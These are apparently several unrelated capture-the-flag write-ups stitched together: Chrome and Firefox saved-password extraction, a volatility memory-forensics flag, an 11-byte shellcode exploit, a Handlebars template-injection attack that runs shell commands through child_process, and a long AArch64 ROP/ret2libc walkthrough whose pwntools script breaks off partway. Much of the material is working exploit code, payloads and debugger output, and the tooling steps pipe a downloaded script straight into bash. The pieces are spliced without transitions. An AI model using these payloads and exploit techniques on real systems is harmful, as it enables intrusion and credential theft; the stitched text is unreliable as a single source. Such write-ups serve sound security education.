```$ cat results/chrome_password.csvUserName,Password,LoginUrl,CreateDateCybercriminal,,https://secure.ssa.gov/RIL/SiView.action,2021-03-29T23:10:34.598548Z```
There's a username, but the password could not be decrypted. We can look at the browser history to see if it has anything interesting.
```$ cat results/chrome_history.csvTitle,Url,VisitCount,LastVisitTimeGoogle,https://www.google.com/,4,2021-03-29T23:11:10.166353Zgoogle - Google Search,https://www.google.com/search?q=google&source=hp&ei=gl5iYPHkKeSBi-gPsrec0Ak&iflsig=AINFCbYAAAAAYGJskpjbRoPB0LnxUF7lFSgq4fYqDXq7&oq=google&gs_lcp=Cgdnd3Mtd2l6EAMyCAgAELEDEIMBMggIABCxAxCDATIFCAAQsQMyBQgAELEDMgUIABCxAzICCAAyAggAMgUIABCxAzIICAAQsQMQgwEyAggAOgsILhCxAxDHARCjAjoICC4QsQMQgwFQpiJYmi9ghzRoAHAAeACAAUaIAdkCkgEBNpgBAKABAaoBB2d3cy13aXo&sclient=gws-wiz&ved=0ahUKEwjxrfb0z9bvAhXkwAIHHbIbB5oQ4dUDCAc&uact=5,2,2021-03-29T23:11:08.043081ZCentral Intelligence Agency - CIA,https://www.cia.gov/,2,2021-03-29T23:09:15.383984ZSocial Security,https://secure.ssa.gov/RIL/SiView.action,2,2021-03-29T23:10:25.915648Zhow to buy winrar - Google Search,https://www.google.com/search?q=how+to+buy+winrar&source=hp&ei=i15iYKjmFojqkgXj-JjgCw&iflsig=AINFCbYAAAAAYGJsm8wyZkZWUfa9d985F8fqZyy8lAIV&oq=how+to+buy+winrar&gs_lcp=Cgdnd3Mtd2l6EAMyAggAMgIIADICCAAyAggAMgIIADIFCAAQhgMyBQgAEIYDMgUIABCGAzoICAAQ6gIQjwE6BQgAELEDOggIABCxAxCDAToLCC4QsQMQxwEQowI6DgguELEDEIMBEMcBEKMCOgUILhCxAzoCCC5Q7g5YlTpgikJoAXAAeACAAVWIAeIHkgECMTeYAQCgAQGqAQdnd3Mtd2l6sAEK&sclient=gws-wiz&ved=0ahUKEwjo14j5z9bvAhUItaQKHWM8BrwQ4dUDCAc&uact=5,2,2021-03-29T23:11:20.015101ZCentral Intelligence Agency - CIA,https://www.cia.gov/index.html,1,2021-03-29T23:09:13.442216ZSocial Security,https://secure.ssa.gov/RIL/Si.action,1,2021-03-29T23:10:25.915648ZCentral Intelligence Agency - CIA,http://cia.gov/,1,2021-03-29T23:09:13.442216ZWinRAR and RAR buy site,https://www.rarlab.com/shop2rarlab-index.php?prod=winrar&x-source=winraronly,1,2021-03-29T23:11:21.845056Z"WinRAR archiver, a powerful tool to process RAR and ZIP files",https://www.rarlab.com/download.htm,1,2021-03-29T23:11:26.869327Z```
This guy really wants to buy WinRAR! This is looking like a red herring, let's move on.
## Extracting Firefox DataThe extract tool was not recovering a password file for Firefox. I ran it in verbose mode to check why:```$ ./hack-browser-data -b firefox -p ../ctf/2021/securebug-odin/forensics/1FAGuy/AppData/Roaming/Mozilla/Firefox/Profiles/pwbmg6f4.default-release/ -vvbrowser.go:205: debug Firefox find bookmark file successbrowser.go:205: debug Firefox find cookie file successbrowser.go:205: debug Firefox find history file successbrowser.go:195: debug Firefox find password file failed, ERR:find logins.json failed```
Looking in the folder it was talking about, `logins.json` was missing, but `login.json` was present. Renaming the file fixed the extraction.
```$ ./hack-browser-data -b firefox -p ../ctf/2021/securebug-odin/forensics/1FAGuy/AppData/Roaming/Mozilla/Firefox/Profiles/pwbmg6f4.default-release/[x]: Get 13 bookmarks, filename is results/firefox_bookmark.csv[x]: Get 0 cookies, filename is results/firefox_cookie.csv[x]: Get 11 history, filename is results/firefox_history.csv[x]: Get 1 passwords, filename is results/firefox_password.csv```
```$ cat results/firefox_password.csvUserName,Password,LoginUrl,CreateDateadmin,SBCTF{MuL71_f4C70R_4U7H3N71C4710n_70_7h3_r35cU3},,2021-03-29T19:14:38-04:00```
`SBCTF{MuL71_f4C70R_4U7H3N71C4710n_70_7h3_r35cU3}` |
```#!/usr/bin/env bash# @author: codaholikid
mkdir dump; unzip -q archive.zip -d dump; cd dump; find . -exec strings -n 8 {} \; 2>/dev/null | grep -oE {.*?} |
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<div id="readme" class="Box-body readme blob js-code-block-container p-5 p-xl-6 gist-border-0"> <article class="markdown-body entry-content container-lg" itemprop="text"><h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>Description</h3>In this challenge, we are supposed to find any outgoing connections.For that we can use sockets or cmdline/cmdscan command from volatility.Flag : Hero{146.59.156.82:4444}</article> </div>
In this challenge, we are supposed to find any outgoing connections.For that we can use sockets or cmdline/cmdscan command from volatility.
Flag : Hero{146.59.156.82:4444}
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**Problem description:** _I'll execute any shellcode you give me, but only 11 bytes of it. I bet you can't get the flag!_
Additionally, we are given a compiled executable along with its source code.
shellcode-golf.c```c#include <stdlib.h>#include <stdio.h>#include <sys/mman.h>
char* get_flag() { FILE* flag = fopen("flag.txt", "r"); char* buf = malloc(64); if(flag == NULL) { exit(1); } else { fgets(buf, 64, flag); } return buf; fflush(0);}
void main() { char* flag = get_flag(); char* shellcode = (char*) mmap((void*) 0x1337,12, 0, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); mprotect(shellcode, 12, PROT_READ | PROT_WRITE | PROT_EXEC); fgets(shellcode, 12, stdin); ((void (*)(char*))shellcode)(flag);}```
To solve this, we have to run some shellcode, but it can't be too large, so we must try to use assembly instructions whose opcodes are as small as possible. This [page](http://xxeo.com/single-byte-or-small-x86-opcodes) lists several instructions with single and two-byte x86 opcodes. Most notably, the push / pop instructions take only one byte each (at least for registers rax, rbx, rcx, rdi, and rsi).
Running the executable in gdb and pausing right before the point at which our shellcode would be executed, we can examine the current register values.
Here we see that registers `rdx` and `rdi` store the address to the flag.
**Note:** _When executing the binary locally, you will need to create a flag.txt file, with a dummy flag inside for testing._
We can get the server to print out the flag for us by invoking the **write** syscall, which has the following function prototype.
```cssize_t write(int fd, const void *buf, size_t count);```
The Linux x86-64 system calling convention places the first three arguments (left-to-right) in registers rdi, rsi, and rdx, with rax holding the number of the syscall we would like to invoke. In our case, we want to call **write**, which has syscall number 1. Here's a [post](https://stackoverflow.com/a/2538212/6637939) on StackOverflow, explaining x86 calling conventions on Linux.
Therefore, we need `rdi` to be 1 (i.e. the file descriptor of _stdout_), `rsi` to be the address of the flag, and `rdx` to be a positive value, which is at least the size of the flag. The following assembly will do that for us.
```asm0000000000000000 <_start>: 0: 50 push rax 1: c1 e8 10 shr eax,0x10 4: 57 push rdi 5: 50 push rax 6: 5f pop rdi 7: 5e pop rsi 8: 5a pop rdx 9: 0f 05 syscall ```
Finally, we can create a simple Python script to print the payload to _stdout_, which can then be piped into the input of the executable.
```py#!/usr/bin/python
import sys
payload = b''.join([ b'\x50', # push rax b'\xc1\xe8\x10', # shr eax,0x10 b'\x57', # push rdi b'\x50', # push rax b'\x5f', # pop rdi b'\x5e', # pop rsi b'\x5a', # pop rdx b'\x0f\x05', # syscall ])
sys.stdout.buffer.write(payload + b'\n')```
We can now get our flag.
```sh$ python exploit.py | openssl s_client -connect tamuctf.com:443 -servername shellcode-golf -quietdepth=0 CN = hulkcybr1verify error:num=18:self signed certificateverify return:1depth=0 CN = hulkcybr1verify return:1
gigem{r34lly_71ny_5h3llc0d3_018ed4}``` |
# Black Market
## DescriptionA group of hackers sell illegal services on the deep web. This site has already caused a lot of damage, it must be stopped!
Find a way to take control of the web server!
URL : http://chall2.heroctf.fr:3050
Format : Hero{}
Author : Worty
## Solution
We've given a url `http://chall2.heroctf.fr:3050`.
`Basket` feature shows `403`.
We can buy stuff navigating to `Our services`
If we buy any item and go back to `basket` we see it shows price and details.
We see that it shows price and number of services purchased. It also generates new bitcoin address on every refresh. The `Buy` request look like below.
```htmlPOST /buy HTTP/1.1Host: chall2.heroctf.fr:3050User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 29Origin: http://chall2.heroctf.fr:3050DNT: 1Connection: closeReferer: http://chall2.heroctf.fr:3050/services/malware
id=2&type=malware&price=0.053```
Trying SSTI attempt succeeded with `{7*7}` input.
```htmlPOST /buy HTTP/1.1Host: chall2.heroctf.fr:3050User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 27Origin: http://chall2.heroctf.fr:3050DNT: 1Connection: closeReferer: http://chall2.heroctf.fr:3050/services/ddosCookie: basket=eyJwdXJjaGFzZXMiOnsiMCI6eyJ0eXBlIjoibWFsd2FyZSIsImlkIjoyLCJwcmljZSI6IjAuMDUzIn19fQ%3D%3D
id=1&type=ddos&price={7*7}```
Looking at the response headers we see that the server is hosted using NodeJS Express framework.
```htmlHTTP/1.1 200 OKX-Powered-By: ExpressSet-Cookie: basket=eyJwdXJjaGFzZXMiOnsiMCI6eyJ0eXBlIjoibWFsd2FyZSIsImlkIjoyLCJwcmljZSI6IjAuMDUzIn19fQ%3D%3D; Max-Age=900; Path=/; Expires=Mon, 26 Apr 2021 05:23:06 GMT; HttpOnlyContent-Type: text/html; charset=utf-8Content-Length: 17ETag: W/"11-KLSLPG1b7/ut5NWgA8Up/1GscNo"Date: Mon, 26 Apr 2021 05:08:06 GMTConnection: close
{"ok":"Success."}```
We can try payloads related to either Jade or Handlerbars template engines. I wrote a simple python script to explore the injection.
```pythonimport reimport sysimport requests
r = requests.post('http://chall2.heroctf.fr:3050/buy', data={'id':'1',"type":'malware',"price":sys.argv[1]})c = r.headers['Set-Cookie'].split('=')[1].split(';')[0]r = requests.get('http://chall2.heroctf.fr:3050/basket', cookies={'basket':c})print(re.findall(r'Total:.*',r.text)[0])```
Running this script with an argument `{{this}}` gives me `[object object]` output.
```bashpython3 market.py
Total: [object Object]```
This confirms that the application is using Handlebars template engine. We can read more from [this](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) blogpost. `env` can be accessed using `global.process.env` and the JavaScript object to string conversion can be done using `JSON.stringify` method.
```bashpython3 market.py '{{JSON.stringify(process.env)}}'
Total: {"NODE_VERSION":"14.16.1","HOSTNAME":"ca7ae5cfca55","YARN_VERSION":"1.22.5","HOME":"/root","PATH":"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","PWD":"/usr/src/app"}```
Output is gibberish :P but we can read stuff. Flag can be printed using below payload.
```bashpython3 market.py '{{JSON.stringify(process.mainModule.constructor._load("child_process").exec("cat flag.txt"))}}'
Total: "Hero{g3t_0n_my_l3v4l_4nd_fl3x}\n"```
|
# WPICTF 2021
## strong-arm
> 300> > Don't break my arms.>> Connect `nc 172.104.14.64 54732`>> [`arm.c`](`arm.c`) [`libc-2.23.so`](`libc-2.23.so`) [`arm`](`arm`)
Tags: _pwn_ _bof_ _rop_ _ret2libc_ _got-overwrite_ _arm_ _arm64_ _aarch64_ _stack-pivot_
## Summary
Aarch64-based `gets` babyrop.
This was my 2nd ARM-based CTF challenge, the first was last weekends [`furor-RPI`](https://github.com/datajerk/ctf-write-ups/tree/master/umdctf2021/furor). Perhaps a trend is starting.
`furor-RPI` is 32-bit, on-metal, no OS; I used shellcode.
`arm` is 64-bit, on Linux, no shellcode.
Similar tools, but different enough to write up.
I'll provided two solutions in this write up, my original based on ROP and ret2libc, and one posted to Discord by jauler#5417 based on a clever stack pivot, ROP, and GOT overwrite.
## Tooling
I explored various options post exploit to better understand the pros/cons with each approach.
### Option 1: Aarch64 on Aarch64
This is identical to solving any x86/x86-64 problem on my x86-64 workstation. I just happen to have a cluster of Aarch64 machines; creating an Ubuntu 20.04 VM took ~250 seconds using [cloudimg](https://cloud-images.ubuntu.com/focal/current/focal-server-cloudimg-arm64.img). After that I just needed to install a few OS/python packages and GEF:
```bashapt-get install -qy gdb build-essential python3 wget curl python3-pippython3 -m pip install ropper pwntoolswget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | bash```
This is the path I took since it'd be identical to what I'm accustomed to from within my CTF Docker container.
> My Aarch64 machines are just 8 GB RPi4s running Ubuntu 20.04. This provides a 64-bit OS as well as KVM acceleration (yes, you can run full speed Aarch64 VMs on an RPi4).
### Option 2: Aarch64 on x86_64/Aarch64 with Docker
```bashcat >Dockerfile.ubuntu20.arm64v8 <<'EOF'FROM arm64v8/ubuntu:20.04
ENV LC_CTYPE C.UTF-8ENV DEBIAN_FRONTEND noninteractive
WORKDIR /rootRUN yes | unminimizeRUN dpkg --add-architecture armRUN apt-get updateRUN apt-get install -qy strace ltrace gdb build-essential python3 wget curl python3-pipRUN python3 -m pip install ropper pwntoolsRUN (wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | bash)EOFdocker build --no-cache --platform linux/arm64v8 -t ctf_arm64v8:v1 -f Dockerfile.ubuntu20.arm64v8 .```
You can omit the `--platform linux/arm64v8` if Aarch64 on Aarch64 [native], otherwise this will enable Docker to build and run a container for another arch on your arch, and it will behave the same as Aarch64 on Aarch64 from Option 1, just slower (QEMU under the hood).
Build times:
```Apple M1 Mac Mini (8gb) [native]: 158 sRPi4 (Ubuntu 20.04) [native]: 872 s3.0 GHz x86_64 workstation [emulated]: 2604 s```
Emulation is slow. However it's good enough in most cases for working on problems like this. You may not really notice it that much.
### Option 3: Aarch64 on x86_64 with QEMU-user
If I didn't have Option 1 above, this is what I would have ended up using and what I have used in the past with Sparc and MIPS challenges. This is fast and requires just a bit of work.
```apt-get install -qy qemu-user libc6-arm64-cross gdb-multiarch```
Should be all you need.
To run the challenge binary:
```qemu-aarch64 -L /usr/aarch64-linux-gnu arm```
To debug it:
```qemu-aarch64 -g 9000 -L /usr/aarch64-linux-gnu arm```
This will block until you connect GDB from another terminal and then `c`, `si`, etc... E.g. with GEF installed:
```cat >script <<'EOF'file armset sysroot /usr/aarch64-linux-gnugef-remote -q localhost:9000EOFgef -x script```
### ld.so
I did not need `ld.so` for this challenge; in most cases if it is included you probably need it and if not included you can do without. However I still tested with it as part of this writeup.
```# strings libc-2.23.so | grep LibraryGNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23```
Google search of `2.23-0ubuntu3` will provide a link to a `.deb` that you can extract with:
```# wget https://launchpad.net/ubuntu/+source/glibc/2.23-0ubuntu3/+build/9576942/+files/libc6_2.23-0ubuntu3_arm64.deb# ar x libc6_2.23-0ubuntu3_arm64.deb data.tar.xz# tar xvf data.tar.xz ./lib/aarch64-linux-gnu/ld-2.23.so# ln -s -f ./lib/aarch64-linux-gnu/ld-2.23.so ld.so# ln -s -f libc-2.23.so libc.so.6```
You could have also just `docker run --rm -it ubuntu:16.04 /bin/bash`, installed `libc6-arm64-cross`, and extracted from there too.
CLI execution:
```# ./ld.so --library-path ./ ./arm```
pwntools:
```ld = ELF('./ld.so')libc = ELF('./libc-2.23.so')p = process([ld.path, binary.path], env={"LD_PRELOAD": libc.path})```
## Analysis
### Checksec
``` Arch: aarch64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
Anything goes but easy shellcode.
> I never looked at this, all I saw was `gets` and a free libc leak and made up my mind--ROP.
### Source
```c#include <stdio.h>#include <stdlib.h>#include <unistd.h>
int vulnerable() { char buffer[128];
printf("> "); fflush(stdout); gets(buffer); puts("Your Input: \n"); puts(buffer); fflush(stdout);}
int main(int argc, char** argv) { printf("print at %p\n", printf); vulnerable(); return EXIT_SUCCESS;}```
`gets` is the vulnerability and we get a free libc leak from `printf`.
### Decompile in Ghidra
> I still prefer to look at the Ghidra decompile for most problems, after over a year of using it, I've become accustom to how it decompiles, labels, and I enjoy the consistency and the stack diagrams.
```cint vulnerable(void){ int iVar1; char acStack128 [128]; printf("> "); fflush(stdout); gets(acStack128); puts("Your Input: \n"); puts(acStack128); iVar1 = fflush(stdout); return iVar1;}```
The buffer for `gets` is 128 bytes from the end of the stack (Ghidra `acStack128`, `128` decimal not to be confused with `local_10` that is `0x10` from the end of the stack).
If this were x86-64 we'd just write out 128 bytes of garbage followed by `pop rdi, */bin/sh, system`. But Aarch64 isn't x86_64.
### Aarch64 ROP
That [aarch64 rop] is exactly what I googled, and the first interesting hit was [this article](https://blog.perfect.blue/ROPing-on-Aarch64). So I read it, and use it.
Other useful docs:
* [A Guide to ARM64 / AArch64 Assembly on Linux with Shellcodes and Cryptography](https://modexp.wordpress.com/2018/10/30/arm64-assembly/)* [Linux System Call Table](https://chromium.googlesource.com/chromiumos/docs/+/HEAD/constants/syscalls.md)
#### `ret` doesn't pop
Aarch64 `call` is `bl` (branch and link). `bl` will set `x30` with the address of the next instruction (`pc+4`) before branching vs. x86-64 where the next instruction address in pushed to the stack:
```assembly 4006d4: 97ffffe0 bl 400654 <vulnerable>```
The `vulnerable` function starts with allocating the stack for `144` bytes, preserving `x29` (think x86-64 `rbp`) and `x30` (return address) _at the top of the stack (all the local variables are below that and writing down stack clearly does not overwrite them)_, then `sp` is moved to `x29` (the base of local variable addressing):
```assembly0000000000400654 <vulnerable>: 400654: a9b77bfd stp x29, x30, [sp, #-144]! 400658: 910003fd mov x29, sp```
At the end of the function the x86-64 equivalent to `leave; ret;`:
```assembly 4006a8: a8c97bfd ldp x29, x30, [sp], #144 4006ac: d65f03c0 ret```
This restores the preserved `x29`, `x30` from the stack, moves the stack pointer back to where it was before the function call. The `ret` just branches to the address in `x30`.
This is a bit more involved than x86-64 ROP chains and gadgets will usually look something like this:
```assembly0x00000000000b95e8: ldr x0, [x29, #0x10]; ldp x29, x30, [sp], #0x20; ret;0x0000000000034f14: ldr x0, [x29, #0x18]; ldp x29, x30, [sp], #0x20; ret;0x00000000000fb2d4: ldr x0, [x29, #0x28]; ldp x29, x30, [sp], #0x30; ret;0x0000000000031450: ldr x0, [x29, #0xa8]; ldp x29, x30, [sp], #0x140; ret;```
> Found with:>>```bash># ropper --nocolor --file libc-2.23.so | grep ': ldr x0, \[x29, #0x.[0-9a-f]*\]; ldp x29, x30, \[sp\], #0x[0-9a-f]*; ret; $'>```
The above gadgets will load `x0` from `x29` offset by `#0x10`, `#0x18`, etc..., then load your `x29`, `x30` from the stack before branching to `x30`. The stack pointer will also move just before the `ret`, so expect your ROP chain to not look so linear.
_But if the preserved `x29`, `x30` are NOT down stack, how do I over write them?_
You don't, you're attacking the calling function's `x29`, `x30`. IOW, `main` calls `vulnerable` and `vulnerable` returns to `main` exactly as intended, it is the function calling `main` preserved `x29`, `x30` we can overwrite.
#### Finding Gadgets
From the leak and the provided libc we have the addresses of `system` and the string `/bin/sh\0`. All we need to do is put the address of `/bin/sh\0` in `x0` and call `system`.
Well easier said than done. There's no usable `ldr x0, [sp]` gadget and setting `x29` without a stack address leak was also a challenge, so I settled on these two (there's actually a gadget in `arm` that will move `sp` to `x29`, but I had all of libc, surely that is better, right? :-):
The first will load `x19`, `x20` from the stack offset by `0x10`:
```assemblyldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;```
The second will move `x19` to `x0`:
```assemblymov x0, x19; ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;```
Finding them require crafting some `grep` strings to look for `ldr` and `ldp` loading from the stack, and a matching `mov` to get into `x0`.
It was not terribly difficult or time consuming, most of my time was spent getting my tooling setup and learning how Aarch64 works.
#### Exploit Walkthrough
> This is going to be painfully long. Instead of walking through how I developed this (too long), I'll just walkthrough the exploit, step-by-step.
Payload:
```128 bytes of garbage to get to end of stackBBBBBBBB as main x298 byte first gadget address (main x30)(32-16) bytes of C, required for the main ldp x29, x30, [sp], #32CCCCCCCC as first gadget x298 byte second gadget address (x30)8 byte pointer to /bin/sh (sp is 16 bytes above us pointing to our x29 CCCCCCCC)(0x20-16-8, the 16 is for x29/x30, and the 8 for /bin/sh) bytes of garbage required for the ldp x29, x30, [sp], #0x20DDDDDDDD as the second gadget x298 bytes for address of system call (x30)```
Make sense? If so, skip this part.
Walkthrough.
Start by setting a breakpoint at `*vulnerable+84`:
```0x0000ffffe27d9ad0β+0x0000: 0x0000ffffe27d9b60 β 0x4242424242424242 β $x29, $sp0x0000ffffe27d9ad8β+0x0008: 0x00000000004006d8 β <main+40> mov w0, #0x00x0000ffffe27d9ae0β+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"0x0000ffffe27d9ae8β+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"0x0000ffffe27d9af0β+0x0020: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"0x0000ffffe27d9af8β+0x0028: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"0x0000ffffe27d9b00β+0x0030: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"0x0000ffffe27d9b08β+0x0038: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"0x0000ffffe27d9b10β+0x0040: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"0x0000ffffe27d9b18β+0x0048: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"0x0000ffffe27d9b20β+0x0050: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"0x0000ffffe27d9b28β+0x0058: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"0x0000ffffe27d9b30β+0x0060: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABB[...]"0x0000ffffe27d9b38β+0x0068: 0x41414141414141410x0000ffffe27d9b40β+0x0070: 0x41414141414141410x0000ffffe27d9b48β+0x0078: 0x41414141414141410x0000ffffe27d9b50β+0x0080: 0x41414141414141410x0000ffffe27d9b58β+0x0088: 0x41414141414141410x0000ffffe27d9b60β+0x0090: 0x42424242424242420x0000ffffe27d9b68β+0x0098: 0x0000ffff9eac5cbc β ldp x19, x20, [sp, #16]0x0000ffffe27d9b70β+0x00a0: 0x43434343434343430x0000ffffe27d9b78β+0x00a8: 0x43434343434343430x0000ffffe27d9b80β+0x00b0: 0x43434343434343430x0000ffffe27d9b88β+0x00b8: 0x0000ffff9eae6080 β <__xpg_basename+120> mov x0, x190x0000ffffe27d9b90β+0x00c0: 0x0000ffff9ebbd9a8 β 0x0068732f6e69622f ("/bin/sh"?)0x0000ffffe27d9b98β+0x00c8: 0x44444444444444440x0000ffffe27d9ba0β+0x00d0: 0x44444444444444440x0000ffffe27d9ba8β+0x00d8: 0x0000ffff9eae4818 β 0x17fffe99b4000040 ("@"?)```
We know from the start of `vulnerable` that the stack was allocated for `144` bytes (see _`ret` doesn't pop_ above), i.e. stack lines 0x0000 - 0x0088 (inclusive) above. At the top of the stack is `x29`, `x30`, i.e. the preserved frame pointer and return address for `main`, and we cannot change them from here. However at `0x0090` and `0x0098` are the preserved frame pointer (`x29`) and return address (`x30`) for when `main` _leaves_; these we can overwrite with `BBBBBBB` and our first gadget.
Our first gadget will load into `x19 ` and `x20` the pointer to `/bin/sh\0` and some garbage (`CCCCCCCC`) from `sp + 16`, however `sp + 16` is _not_ pointing at `/bin/sh\0`.
We know that the `sp` will be moved down `144` at the end of `vulnerable`, so think of `sp` pointing to `0x0090`, this would be the top of the `main` stack frame. If we look at the end of main:
```assembly 0x00000000004006dc <+44>: ldp x29, x30, [sp], #32```
Above will load our `BBBBBBBB` into `x29` and our first gadget address into `x30`, then move the stack down 32 bytes (now `sp` is pointing to line `0x00b0` when the gadget executes. Now `sp + 16` is pointing to our string.
Above that however is the `x29`, `x30` pair that we need to setup for the first gadget to chain to the second gadget.
This can get quite maddening. Just remember at the end of each `ret`, `sp` will be pointing to the top of the previous stack frame, and the first two lines are `x29` and `x30` then your payloads, padding, etc... and you also need to track change in `sp` after each `ldp x29, x30, [sp], #nnn`.
Setting a breakpoint at `*main+44` and continuing on:
```0x0000ffffe27d9b60β+0x0000: 0x4242424242424242 β $x29, $sp0x0000ffffe27d9b68β+0x0008: 0x0000ffff9eac5cbc β ldp x19, x20, [sp, #16]0x0000ffffe27d9b70β+0x0010: 0x43434343434343430x0000ffffe27d9b78β+0x0018: 0x43434343434343430x0000ffffe27d9b80β+0x0020: 0x43434343434343430x0000ffffe27d9b88β+0x0028: 0x0000ffff9eae6080 β <__xpg_basename+120> mov x0, x190x0000ffffe27d9b90β+0x0030: 0x0000ffff9ebbd9a8 β 0x0068732f6e69622f ("/bin/sh"?)0x0000ffffe27d9b98β+0x0038: 0x44444444444444440x0000ffffe27d9ba0β+0x0040: 0x44444444444444440x0000ffffe27d9ba8β+0x0048: 0x0000ffff9eae4818 β 0x17fffe99b4000040 ("@"?)```
The stack pointer was moved to the `BBBBBBBB` and first gadget we set in stack.
One single step:
```$x29 : 0x4242424242424242 ("BBBBBBBB"?)$x30 : 0x0000ffff9eac5cbc β ldp x19, x20, [sp, #16]$sp : 0x0000ffffe27d9b80 β 0x4343434343434343 ("CCCCCCCC"?)$pc : 0x00000000004006e0 β <main+48> ret$cpsr: [negative ZERO CARRY overflow interrupt fast]$fpsr: 0x0$fpcr: 0x0βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ0x0000ffffe27d9b80β+0x0000: 0x4343434343434343 β $sp0x0000ffffe27d9b88β+0x0008: 0x0000ffff9eae6080 β <__xpg_basename+120> mov x0, x190x0000ffffe27d9b90β+0x0010: 0x0000ffff9ebbd9a8 β 0x0068732f6e69622f ("/bin/sh"?)0x0000ffffe27d9b98β+0x0018: 0x44444444444444440x0000ffffe27d9ba0β+0x0020: 0x44444444444444440x0000ffffe27d9ba8β+0x0028: 0x0000ffff9eae4818 β 0x17fffe99b4000040 ("@"?)```
We basically just executed `main` `ldp x29, x30, [sp], #32`, the `x30` register now points to our first gadget, and the stack pointer is at the `x29`, `x30` we setup as the second gadget. The pointer to `/bin/sh` is 16 bytes down stack for the first gadget to load from.
After 3 `si`'s:
```$x19 : 0x0000ffff9ebbd9a8 β 0x0068732f6e69622f ("/bin/sh"?)$x20 : 0x4444444444444444 ("DDDDDDDD"?)$x21 : 0x0$x22 : 0x0$x23 : 0x0$x24 : 0x0$x25 : 0x0$x26 : 0x0$x27 : 0x0$x28 : 0x0$x29 : 0x4343434343434343 ("CCCCCCCC"?)$x30 : 0x0000ffff9eae6080 β <__xpg_basename+120> mov x0, x19$sp : 0x0000ffffe27d9ba0 β 0x4444444444444444 ("DDDDDDDD"?)$pc : 0x0000ffff9eac5cc4 β ret$cpsr: [negative ZERO CARRY overflow interrupt fast]$fpsr: 0x0$fpcr: 0x0βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ0x0000ffffe27d9ba0β+0x0000: 0x4444444444444444 β $sp0x0000ffffe27d9ba8β+0x0008: 0x0000ffff9eae4818 β 0x17fffe99b4000040 ("@"?)```
`x19` is now pointing to `/bin/sh`, `x30` is loaded up with the address of the second gadget.
The stack frame for the 2nd gadget has `x29` and `x30` set to garbage and `system` respectively.
After 4 `si`'s:
```$x0 : 0x0000ffff9ebbd9a8 β 0x0068732f6e69622f ("/bin/sh"?)...$x30 : 0x0000ffff9eae4818 β 0x17fffe99b4000040 ("@"?)```
`x0` is pointing to `/bin/sh` and `x30` pointing to `system`, just `continue` to pop a shell.
## Exploit
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./arm')
if args.REMOTE: p = remote('172.104.14.64', 54732) libc = ELF('./libc-2.23.so') p.recvuntil('printf at ')else: if os.uname().machine == context.arch: p = process(binary.path) libc = binary.libc else: if args.GDB: p = process(('stdbuf -i0 -o0 -e0 qemu-'+context.arch+' -g 9000 -L /usr/'+context.arch+'-linux-gnu '+binary.path).split()) else: p = process(('stdbuf -i0 -o0 -e0 qemu-'+context.arch+' -L /usr/'+context.arch+'-linux-gnu '+binary.path).split()) libc = ELF('/usr/'+context.arch+'-linux-gnu/lib/libc.so.6') p.recvuntil('print at ')```
More that your standard pwntools starter; I included support for all the options I described above in the _Tooling_ section above.
```python_ = p.recvline().strip().decode()printf = int(_,16)libc.address = printf - libc.sym.printflog.info('libc.address: ' + hex(libc.address))
